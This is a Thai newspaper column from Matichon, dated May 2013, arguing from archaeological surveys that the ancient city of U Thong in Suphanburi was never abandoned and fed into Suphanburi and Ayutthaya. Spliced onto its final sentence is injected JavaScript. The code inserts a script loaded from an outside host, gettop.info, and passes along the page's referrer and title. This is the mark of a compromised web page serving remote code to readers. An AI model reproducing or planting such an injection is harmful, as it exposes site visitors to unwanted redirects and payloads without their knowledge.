Download PDF

มติชนรายวัน ฉบับประจำวันจันทร์ที่ 20 พฤษภาคม 2556

 

          เมืองอู่ทอง (จ. สุพรรณบุรี) เป็นต้นทางประวัติศาสตร์ไทยตั้งแต่ราว 3,000 ปีมาแล้ว ไม่ขาดตอน จนถึงปัจจุบัน

          แต่มักอธิบายกันว่าเมืองอู่ทองถูกทิ้งร้างราวหลัง พ.ศ. 1500 จนถึงราวหลัง พ.ศ. 1800 จึงมีเมืองสุพรรณบุรีอยู่ที่ตัว จ. สุพรรณบุรีทุกวันนี้ มีข้อความในมติชน (ฉบับวันจันทร์ที่ 13 พฤษภาคม 2556 หน้า 13) จะคัดมาให้อ่านดังนี้

          “เมืองอู่ทองก็หมดความสำคัญในราวพุทธศตวรรษที่ 16-17 พร้อมๆกับการสิ้นสุดลงของยุคทวารวดี

          ต่อมาเมืองโบราณอู่ทองก็ถูกทิ้งร้างไปในราวพุทธศตวรรษที่ 19 โดยเมืองสุพรรณบุรีเจริญขึ้นแทนที่”

          เมืองอู่ทอง ความสำคัญลดลงจากที่เคยเป็นศูนย์กลางการค้าข้ามภูมิภาค แต่ยังคงเป็นบ้านเมืองบนเส้นทางคมนาคม ดังมีผลจากการสำรวจศึกษาของอาจารย์ 2 ท่าน จากคณะโบราณคดี ม. ศิลปากร (จากประวัติวัฒนธรรมลุ่มน้ำทวน-จระเข้สามพัน รายงานการสำรวจข้อมูลวัฒนธรรมสมัยโบราณ ในลุ่มน้ำทวน (จ. กาญจนบุรี)-จระเข้สามพัน (จ. สุพรรณบุรี) โดย รองศาสตราจารย์สุรพล นาถะพินธุ และ อาจารย์ศิริพจน์ เหล่ามานะเจริญ คณะโบราณคดี มหาวิทยาลัยศิลปากร สนับสนุนโดย บริษัท มติชน จำกัด (มหาชน) สิงหาคม-กันยายน 2552)

          ตั้งแต่ พ.ศ. 1500 อู่ทองขยายปริมณฑลจากศูนย์กลางออกไปโดยรอบ โดยให้ความสำคัญด้านทิศตะวันตก (ไปทาง จ. กาญจนบุรี) และทิศเหนือขึ้นไปตามแม่น้ำท่า จีน, และแม่น้ำท่าว้า-ท่าคอย (ท่าจีนเก่า) ตามเส้นทางการค้าที่ไปเกี่ยวข้องกับวัฒนธรรมขอม

          เครือข่ายทางเศรษฐกิจการเมืองของอู่ทองที่ขยายออกไปกว้างขวาง เห็นได้จากงานช่างแบบขอม มีพบทั่วไปตลอดลุ่มน้ำจระเข้สามพัน ต่อเนื่องถึงลุ่มน้ำทวน (จ. กาญจนบุรี)

          แสดงให้เห็นว่าอู่ทองเป็นรัฐเอกราชยุคทวารวดี ที่มีความสืบเนื่องไม่ขาดสาย และไม่เคยรกร้างห่างหาย ดังมีนักค้นคว้าและนักวิชาการเคยอธิบายสันนิษฐานไว้นานมาแล้ว อู่ทองเพียงแต่ลดความสำคัญในฐานะศูนย์กลางลงไปด้วยเหตุอื่นๆ

          ราวหลัง พ.ศ. 1700 อู่ทองเกี่ยวข้องใกล้ชิดกับวัฒนธรรมขอมเมืองละโว้ (จ. ลพบุรี) โดยมีชุมชนบ้านเมืองแห่งใหม่นับถือศาสนาพุทธมหายานแบบขอมอยู่ที่เนินทางพระ (อ. สามชุก จ. สุพรรณบุรี) แล้วติดต่อค้าขายขึ้นไปถึงรัฐหริภุญชัย (จ. ลำพูน) ลุ่มน้ำปิง-วัง

          ขณะที่ผู้คนตระกูลไทย-ลาว เคลื่อนย้ายจากสองฝั่งโขงลงมาตั้งหลักแหล่งอยู่บริเวณลุ่มน้ำท่าจีน (บริเวณที่จะเป็นรัฐสุพรรณภูมิ ซึ่งเอกสารจีนเรียก เจนลีฟู แล้วเป็นเมืองสุพรรณบุรีต่อไปข้างหน้า)

          เป็นต้นเหตุให้ผู้คนบริเวณนี้พูดสำเนียงลาวสองฝั่งโขง แต่ถูกเรียกภายหลังว่า เหน่อ

          ความสัมพันธ์ทางสังคมวัฒนธรรมอย่างนี้เองที่เป็นพื้นฐานให้ต่อไปข้างหน้ารวมกันเป็น “เสียมหลอ” (หมายถึงกรุงศรีอยุธยา) ที่พบในจดหมายเหตุจีนว่าเสียม หมายถึงสยามที่สุพรรณบุรี ส่วนหลอ หมายถึง ละโว้ที่ลพบุรี

          ความเป็นมาของเมืองอู่ทองเป็นต้นทางประวัติศาสตร์ไทยตามที่บอกมาข้างต้น ยังมีประเด็นต้องทักท้วงถกเถียงอีกมาก ไม่มีที่ยุติ

          ทางการส่วนกลางอย่าด่วนสรุปอย่างใดอย่างหนึ่ง เช่น อย่าด่วนสรุปว่าเมืองอู่ทองถูกทิ้งร้าง ฯลฯ เพราะมีหลักฐานโบราณคดียืนยันว่าอยู่สืบเนื่องกระจายทั่วไปเป็นปริมณฑลของศูนย์กลางแห่งใหม่ คือ สุพรรณภูมิ, สุพรรณบุรี

          ควรเปิดช่องเชิญชวนคนทั้งประเทศและทั้งโลกมาทักท้วงถกเถียงกันให้สนุกสนั่นหวั่นไหว จะได้ต่อยอดความรู้กว้างออกไปไม่สิ้นสุด

          ผลพลอยได้คือการท่องเที่ยวอย่างสร้างสรรค์ สุวรรณภูมิถึงสุพรรณบุรีdocument.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;